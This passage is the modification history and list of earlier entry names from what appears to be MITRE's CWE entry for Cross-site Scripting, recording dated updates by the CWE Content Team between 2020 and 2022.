CWE Content Team

MITRE

updated Applicable_Platforms, Potential_Mitigations, Relationships

2020-06-25

CWE Content Team

MITRE

updated Observed_Examples, Potential_Mitigations

2020-08-20

CWE Content Team

MITRE

updated Relationships

2020-12-10

CWE Content Team

MITRE

updated Relationships

2021-03-15

CWE Content Team

MITRE

updated Demonstrative_Examples, Description

2021-07-20

CWE Content Team

MITRE

updated Relationships

2021-10-28

CWE Content Team

MITRE

updated Relationships

2022-06-28

CWE Content Team

MITRE

updated Observed_Examples, Relationships

Previous Entry Names

Change Date

Previous Entry Name

2008-04-11

Cross-site Scripting (XSS)

2009-01-12

Failure to Sanitize Directives in a Web Page (aka ‘Cross-site scripting’ (XSS))

2009-05-27

Failure to Preserve Web Page Structure (aka ‘Cross-site Scripting’)

2010-06-21

Failure to Preserve Web Page Structure (‘Cross-site Scripting’)

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